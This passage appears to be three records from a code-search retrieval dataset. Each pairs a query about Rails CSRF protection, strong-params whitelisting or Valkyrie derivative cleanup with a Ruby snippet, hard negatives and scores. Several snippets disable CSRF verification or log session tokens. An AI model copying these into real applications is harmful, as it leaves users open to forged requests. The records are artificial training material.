0.0
-1
stop rails CSRF protection for this action
def index end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disable_request_forgery_protection; end", "def disable_request_forgery_protection=(_arg0); end", "def clean_up_csrf?; end", "def clean_up_csrf?; end", "def skip_forgery_protection(options = T.unsafe(nil)); end", "def csrf; end", "def clean_up_csrf?\n false\n end", "def clean_up_csrf?\n false\n end", "def clean_up_csrf?\n true\n end", "def clean_up_csrf?\n true\n end", "def handle_unverified_request\n logger.warn \" Form token: #{params[request_forgery_protection_token]}\" if logger\n logger.warn \" Header token: #{request.headers['X-CSRF-Token']}\" if logger\n logger.warn \" Session token: #{session[:_csrf_token]}\" if logger\n super\n end", "def allow_forgery_protection\n true\n end", "def check_csrf\n rails_check_csrf!\n end", "def protect_against_forgery?; end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\nend", "def check_csrf\n rails_check_csrf!\n end", "def protect_from_forgery\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def protect_against_forgery?\n false\n end", "def invalid_authenticity_request\n sign_out(current_user)\n cookies['XSRF-TOKEN'] = form_authenticity_token if protect_against_forgery?\n render error: 'invalid token', status: :unprocessable_entity\n end", "def csrf_tag(*)\n rails_csrf_tag\n end", "def rails_check_csrf!\n rails_controller_instance.send(:verify_authenticity_token)\n end", "def csrf_protection(enabled)\n return unless enabled\n condition do\n if request.env['protection.csrf.failed']\n message = settings.protect_from_csrf.kind_of?(Hash) && settings.protect_from_csrf[:message] || 'Forbidden'\n halt(403, message)\n end\n end\n end", "def protect_against_forgery? #:nodoc:\n false\n end", "def rails_check_csrf!\n rails_controller_instance.send(:verify_authenticity_token)\n end", "def csrf_tag(*)\n rails_csrf_tag\n end", "def check_csrf?\n true\n end", "def rails_csrf_param\n rails_controller.request_forgery_protection_token\n end", "def verify_csrf_token?\n false\n end", "def check_csrf?\n true\n end", "def rails_csrf_param\n rails_controller.request_forgery_protection_token\n end", "def rails_csrf_token\n rails_controller_instance.send(:form_authenticity_token)\n end", "def protect_against_forgery?\n controller.send(:protect_against_forgery?)\n end", "def discard_flash_if_xhr\n flash.discard if request.xhr?\n end", "def discard_flash_if_xhr\n flash.discard if request.xhr?\n end", "def ignore_request_unless_permitted\n return if permitted?\n flash_notice(:permission_denied.t)\n redirect_to(action: \"index_article\") and return\n end", "def csrf_meta_tags; end", "def handle_unverified_request\n if Rails.env.production?\n reset_session\n else\n raise ActionController::InvalidAuthenticityToken\n end\n end", "def use_null_session\n ActionController::RequestForgeryProtection::ProtectionMethods::NullSession.new(self)\n .handle_unverified_request\n end", "def csrf_token\n session[:csrf] ||= SecureRandom.hex 32\n end", "def rails_controller_callbacks\n # don't verify CSRF token as part of callbacks, Rodauth will do that\n rails_controller_forgery_protection { false }\n\n rails_controller_instance.run_callbacks(:process_action) do\n # turn the setting back to default so that form tags generate CSRF tags\n rails_controller_forgery_protection { rails_controller.allow_forgery_protection }\n\n yield\n end\n end", "def rails_csrf_token\n rails_controller_instance.send(:form_authenticity_token)\n end", "def rails_csrf_tag\n %(<input type=\"hidden\" name=\"#{rails_csrf_param}\" value=\"#{rails_csrf_token}\">)\n end", "def protect_against_forgery?\n end", "def deny_access\n if request.xhr?\n if !flash[:ajax_error].blank?\n render text: flash[:ajax_error] \n else\n render text: \"You do not have sufficient permissions to perform this action.\"\n end\n else\n flash[:error] = \"You do not have sufficient permissions to perform this action.\"\n redirect_to :back\n end\n rescue\n redirect_to root_path\n end", "def access_only_for_ajax\r\n unless request.xhr?\r\n render :text => \"Here is an Ajax Service, regular request without security token are denied.\"\r\n return false\r\n end\r\n end", "def submitted_csrf_token\n request.env['HTTP_X_CSRF_TOKEN'] || params['csrf_token']\n end", "def csrf=(_arg0); end", "def no_ajax # :nologin: :norobots:\n end", "def protect_against_forgery?\n\n end", "def rails_csrf_tag\n %(<input type=\"hidden\" name=\"#{rails_csrf_param}\" value=\"#{rails_csrf_token}\">)\n end", "def respond_with_csrf_header\n # Only return the authenticity token to approved origins.\n return unless request.headers['HTTP_ORIGIN'] && origin_is_whitelisted?\n # Only return the authenticity token for JSON requests to approved API actions\n if(API_ACTIONS.include?(action_name) && formats.include?(:json))\n response.headers['X-CSRF-Token'] = form_authenticity_token\n end\n end", "def handle_unverified_request\n \n # By default this method raises ActionController::InvalidAuthenticityToken\n #redirect_to root_url\n end", "def verify_csrf_token?(req, *)\n !IDEMPOTENT_HTTP_METHODS[req.request_method]\n end", "def index\n @csrfattacks = Csrfattack.all\n end", "def set_csrfattack\n @csrfattack = Csrfattack.find(params[:id])\n end", "def handle_unverified_request\n super\n render :text => \"Forgery protection token was not present.\", :status => :unauthorized\n end", "def handle_unverified_request\n super\n cookies.delete(:autologin)\n end", "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def do_not_set_cookie\n request.session_options[:skip] = true\n end", "def csrf_meta_tags\n respond_to do |format|\n format.html { render :layout => false }\n format.js\n end\n end", "def auth_csrf_token\n request.env['HTTP_X_AUTH_CSRF']\n end", "def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end", "def handle_unverified_request\n raise ActionController::InvalidAuthenticityToken\n end", "def set_xhr_flash\n flash.discard if request.xhr?\n end", "def skip_session\n request.session_options[:skip] = true if token\n end", "def cancel\n __log_activity\n __debug_route\n __debug_request\n super\n rescue => error\n auth_failure_redirect(message: error)\n end", "def prevent\n js false\n render :inline => 'Main#prevent', :layout => 'application'\n end", "def invalid_csrf_token?(req, res)\n return false unless verify_csrf_token?(req, res)\n\n missing_csrf_token?(req, res) ||\n !::Rack::Utils.secure_compare(req.session[CSRF_TOKEN], req.params[CSRF_TOKEN])\n end", "def invalid_csrf(exception)\n ErrorTracker.report_exception(exception, current_user, {request_url: request.url, params: params})\n @alert = \"We're sorry, but the change you wanted was rejected by the server.\"\n respond_to do |format|\n format.html {render template: '/layouts/422', status: 422}\n format.js {render template: '/layouts/session_expired', status: 422}\n format.json {render json: {error: @alert}, status: 422}\n end\n end", "def handle_unverified_request\n js = session[ :javascript ]\n reset_session()\n session[ :javascript ] = js\n end", "def csrf_token\n env[\"rack.session\"].fetch(:csrf)\nend", "def set_csrf_headers\n response.headers['X-CSRF-Token'] = form_authenticity_token\n end", "def csrf_options\n opts[:route_csrf]\n end", "def deny\n @request.remove_from_whitelist\n File.delete(\"#{$config[:'spool-dir']}/#{@request[:sender]}\") rescue true\n end", "def csrf_safe?\n @csrf_safe\n end", "def prevent_authenticated_user!\n if signed_in?\n head :forbidden\n end\n end", "def missing_csrf_token?(req, *)\n Hanami::Utils::Blank.blank?(req.params[CSRF_TOKEN])\n end", "def set_csrf_token(_req, res)\n res.session[CSRF_TOKEN] ||= generate_csrf_token\n end", "def invalid_token\n\t\t\tredirect_to login_url\n\t\tend", "def skip_session\n request.session_options[:skip] = true if token\n end", "def skip_session\n request.session_options[:skip] = true if token\n end", "def destroy\n signed_out_user = current_user\n sign_out :user\n session.try(:delete, :_csrf_token)\n # Prevent Token Fixation attacks by generating a new token upon user logout.\n signed_out_user.authentication_token = Devise.friendly_token\n signed_out_user.save\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def handle_unverified_request\n sign_out\n super\n end", "def auth_token\n (protect_against_forgery? ? form_authenticity_token : nil)\n end", "def skip_authorization; end", "def masked_authenticity_token(session, form_options: T.unsafe(nil)); end", "def skip_authorization_check(*args)\n before_action(*args) do |controller|\n controller.instance_variable_set(:@_authorized, true)\n end\n end", "def handle_unverified_request\n redirect_to root_url, :notice => \"We detect unmatching token form your form, please do not hack us\"\n \n end", "def clear_request_token\n @request_token = nil\n end" ]
[ "0.77760774", "0.76563007", "0.7332915", "0.7332915", "0.70371854", "0.70363104", "0.70097077", "0.7002428", "0.6828669", "0.6828669", "0.6679377", "0.66760176", "0.66671306", "0.6602603", "0.65869737", "0.6586769", "0.6585341", "0.6585341", "0.6585341", "0.6585341", "0.6585341", "0.6585341", "0.6563167", "0.6554581", "0.6517291", "0.65147364", "0.65147364", "0.6503778", "0.64916825", "0.64588773", "0.645295", "0.64050776", "0.64013356", "0.6376676", "0.6353472", "0.631185", "0.62972975", "0.6259198", "0.6257371", "0.62549573", "0.6249709", "0.6242412", "0.6227452", "0.6193134", "0.6189654", "0.6169824", "0.6160783", "0.6159431", "0.6151884", "0.6142351", "0.61385983", "0.61360794", "0.6119384", "0.60977495", "0.60951084", "0.6095051", "0.6090001", "0.60590816", "0.60472584", "0.6044048", "0.60310125", "0.60092974", "0.6009186", "0.60087466", "0.6007317", "0.5998084", "0.59921104", "0.5974407", "0.5974407", "0.5974407", "0.5960081", "0.59578633", "0.59370226", "0.59370226", "0.59335786", "0.5930063", "0.59236956", "0.5915775", "0.5876781", "0.5876025", "0.5868834", "0.5865713", "0.5855059", "0.58273345", "0.58075905", "0.58073324", "0.5793454", "0.5757197", "0.57493603", "0.5745878", "0.5743887", "0.5743887", "0.57416975", "0.57331264", "0.57313466", "0.572494", "0.5720713", "0.5714948", "0.5708345", "0.56942105", "0.5684951" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def presence_params params.require(:chat).permit(:user_id, :message) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Removes Valkyrie::StorageAdapter::File member Objects for any given Resource (usually a FileSet) (see Jp2DerivativeServicecleanup_derivatives)
def cleanup_derivatives change_set_persister.buffer_into_index do |buffered_changeset_persister| hocr_derivative_service(buffered_changeset_persister).cleanup_derivatives if parent.try(:ocr_language).present? && hocr_derivative_service(buffered_changeset_persister).valid? jp2_derivative_service(buffered_changeset_persister).cleanup_derivatives if jp2_derivative_service(buffered_changeset_persister).valid? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cleanup_derivatives\n deleted_files = []\n image_derivatives = resource.file_metadata.select { |file| (file.derivative? || file.thumbnail_file?) && file.mime_type.include?(image_mime_type) }\n image_derivatives.each do |file|\n storage_adapter.delete(id: file.id)\n deleted_files << file.id\n end\n cleanup_derivative_metadata(derivatives: deleted_files)\n end", "def cleanup_derivatives\n deleted_files = []\n pyramidal_derivatives = resource.file_metadata.select { |file| file.derivative? && file.mime_type.include?(\"image/tiff\") }\n pyramidal_derivatives.each do |file|\n storage_adapter.delete(id: file.file_identifiers.first)\n deleted_files << file.id\n end\n cleanup_derivative_metadata(derivatives: deleted_files)\n end", "def cleanup_files(resource)\n remove_public_dir(resource) # where the local manifest file is stored\n remove_s3_data_files(resource)\n rescue StandardError => e\n msg = \"An unexpected error occurred when cleaning up files for resource #{resource.id}: \"\n msg << e.full_message\n logger.warn(msg)\n end", "def cleanup_derivatives\n deleted_files = []\n raster_derivatives = resource.file_metadata.select { |file| file.derivative? || file.thumbnail_file? || file.cloud_derivative? }\n raster_derivatives.each do |file|\n storage_adapter.delete(id: file.file_identifiers.first)\n deleted_files << file.id\n end\n cleanup_derivative_metadata(derivatives: deleted_files)\n generate_mosaic unless deleted_files.empty?\n end", "def cleanup_derivative_metadata(derivatives:)\n resource.file_metadata = resource.file_metadata.reject { |file| derivatives.include?(file.id) }\n updated_change_set = ChangeSet.for(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end", "def clean(&block)\n @target.files.each do |object|\n unless @source.files.include? object.key\n block.call(object)\n object.destroy\n end\n end\n end", "def perform(file_set_id)\n file_set = query_service.find_by(id: Valkyrie::ID.new(file_set_id))\n Valkyrie::DerivativeService.for(FileSetChangeSet.new(file_set)).cleanup_derivatives\n rescue Valkyrie::Persistence::ObjectNotFoundError\n Rails.logger.error \"Unable to find FileSet #{file_set_id} for deletion, derivative files are probably left behind\"\n end", "def delete\n begin \n # file_assets\n file_assets.each do |file_asset|\n file_asset.delete\n end\n # We now reload the self to update that the child assets have been removed...\n reload()\n # Call ActiveFedora Deleted via super \n super()\n rescue Exception => e\n raise \"There was an error deleting the resource: \" + e.message\n end\n end", "def cleanup_derivative_metadata(derivatives:)\n resource.file_metadata = resource.file_metadata.reject { |file| derivatives.include?(file.id) }\n resource.file_metadata.map { |fm| fm.error_message = [] }\n updated_change_set = ChangeSet.for(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end", "def cleanup_derivative_metadata(derivatives:)\n resource.file_metadata = resource.file_metadata.reject { |file| derivatives.include?(file.id) }\n resource.file_metadata.map { |fm| fm.error_message = [] }\n updated_change_set = ChangeSet.for(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end", "def remove_files\n resource.formats.each do |fmt|\n converted_csv = fmt.converted_csv_file\n File.unlink(converted_csv) if File.exist?(converted_csv)\n diff = fmt.diff_file\n File.unlink(diff) if File.exist?(diff)\n end\n end", "def clean_debris \n objdirs = File.join(\"**/\", \"obj\")\n userfiles = File.join(\"**/\", \"*.vcxproj.user\")\n\n delete_list = FileList.new(objdirs, userfiles)\n delete_list.each do |file|\n puts \"Removing #{file}\"\n FileUtils.rm_rf(\"#{file}\")\n end\nend", "def clean_debris \n objdirs = File.join(\"**/\", \"obj\")\n userfiles = File.join(\"**/\", \"*.vcxproj.user\")\n\n delete_list = FileList.new(objdirs, userfiles)\n delete_list.each do |file|\n puts \"Removing #{file}\"\n FileUtils.rm_rf(\"#{file}\")\n end\nend", "def cleanup_derivative_metadata(derivatives:)\n resource.file_metadata = resource.file_metadata.reject { |file| derivatives.include?(file.id) }\n updated_change_set = DynamicChangeSet.new(resource)\n change_set_persister.buffer_into_index do |buffered_persister|\n buffered_persister.save(change_set: updated_change_set)\n end\n end", "def clean_up\n @files.each {|file| FileUtils.remove(file.path)}\n end", "def clean_references\n s3_file_processor.clean_local_file if s3_file_processor.file_path\n end", "def delete_files\n\t\t\tFileUtils.rm_rf(@clean_image)\n\t\t\tFileUtils.rm_rf(@image) if pdf?\n\t\tend", "def delete_file_parts\n #TODO implementation\n end", "def remove_file_from_bundle\n bundle = object.study_file_bundle\n if bundle.present?\n bundle.original_file_list.delete_if {|file| file['file_type'] == object.file_type} # this edits the list in place, but is not saved\n object.update(study_file_bundle_id: nil)\n bundle.save\n end\n end", "def remove_file!\n begin\n super\n rescue Fog::Storage::Rackspace::NotFound\n self.file = nil\n self.send(:write_attribute, :file, nil)\n end\n end", "def cleanup!\r\n got = @ndev.rpc.request_system_storage_cleanup\r\n gone_h = {}\r\n got.xpath('file-list/file').each do |file|\r\n _cleanup_file_to_h( file, gone_h )\r\n end\r\n gone_h\r\n end", "def remove_photo_from_filesystem\n member_photo = nil\n end", "def cleanup\n begin\n File.delete(full_filename, full_filename + \".meta\")\n rescue\n logger.warn \"Unable to delete recordings files: #{full_filename}*\"\n end\n end", "def photo__after_destroy_trigger\r\n\r\nDir[File.join(FILES_DEST_PHOTO, \"#{self.id}_*\")].each{|f| File.delete(f)}\r\nDir[File.join(FILES_DEST_PHOTO__THUMBS, \"#{self.id}_*\")].each{|f| File.delete(f)}\r\nend", "def delete_files\n self.bruse_files.each do |file|\n file.destroy\n end\n end", "def cleanup_derivatives\n change_set_persister.buffer_into_index do |buffered_changeset_persister|\n hocr_derivative_service(buffered_changeset_persister).cleanup_derivatives if parent.try(:ocr_language).present? && hocr_derivative_service(buffered_changeset_persister).valid?\n vips_derivative_service(buffered_changeset_persister).cleanup_derivatives if vips_derivative_service(buffered_changeset_persister).valid?\n end\n end", "def toast_sufia_uploaded_file\n file_sets.each do |fs|\n Sufia::UploadedFile.where(file_set_uri: fs.uri.to_s).destroy_all\n end\n end", "def cleanup!\n @s3_bucket.objects.each do |obj|\n if !@files.include? \"#{@folder_path}/#{obj.key}\"\n puts \"Deleting #{obj.key}\"\n obj.delete\n end\n end\n end", "def cleanup!\n @s3_bucket.objects.each do |obj|\n if !@files.include? \"#{@folder_path}/#{obj.key}\"\n puts \"Deleting #{obj.key}\"\n obj.delete\n end\n end\n end", "def cleanup(site, stitch)\n\n files = stitch.all_files.map{ |f| File.absolute_path(f)}\n files.concat stitch.deleted\n\n if files.size > 0\n site.static_files.clone.each do |sf|\n if sf.kind_of?(Jekyll::StaticFile) and files.include? sf.path\n site.static_files.delete(sf)\n end\n end\n end\n end", "def delete_files(files)\n not_found = []\n files.each do |file|\n file_stored = Files.where({ '_id' => file[:uuid]}).first\n if file_stored.nil?\n logger.error 'File not found ' + file.to_s\n not_found << file\n else\n if file_stored['pkg_ref'] == 1\n # Referenced only once. Delete in this case\n file_stored.destroy\n del_ent_dict(file_stored, :files)\n file_md5 = Files.where('md5' => file_stored['md5'])\n if file_md5.size.to_i.zero?\n # Remove files from grid\n grid_fs = Mongoid::GridFs\n grid_fs.delete(file_stored['grid_fs_id'])\n end\n else\n # Referenced above once. Decrease counter\n 